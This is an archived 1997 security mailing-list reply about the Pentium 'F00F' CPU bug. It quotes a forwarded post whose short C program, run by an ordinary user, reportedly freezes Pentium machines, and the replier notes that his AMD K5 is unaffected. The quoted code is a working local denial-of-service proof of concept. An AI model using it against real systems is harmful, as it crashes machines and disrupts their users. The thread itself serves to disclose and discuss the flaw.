Date: Mon, 10 Nov 1997 13:10:08 -0600 From: "Alejandro Vázquez C." <alexv@sui.gda.itesm.mx> To: Graphic Rezidew <rezidew@rezidew.net> Cc: roger@nwu.edu, freebsd-security@FreeBSD.ORG, Kadokev@ripco.com Subject: Re: FW: [linux-security] pentium bug makes security under linux impo Message-ID: <34675C10.B7CFA5F2@sui.gda.itesm.mx> References: <XFMail.971110022053.rezidew@rezidew.net>
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Graphic Rezidew wrote:
> > There is a SERIOUS bug in all pentium CPUs. The following
> > code will crash any machine running on a pentium CPU, MMX or no
> > MMX, any speed, regardless of OS (crash as in instant seize, hard
> > reboot the only cure):
> >
> > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> >
> > main ()
> > {
> > void (*f)() = x;
> > f();
> > }
> >
> > This require no special permissions to run, it works fine with
> > average-joe-userspace permissions. I have verified this, it works.
> > Demand a new CPU from Intel.
If I had someone, I would. But I have an AMD K5 and detects perfectly the illegal
instruction. It seems that it only happens with Intel's Pentium (I have NOT tested
with AMD K6, neigther Cyrix's Pentium class CPUs).
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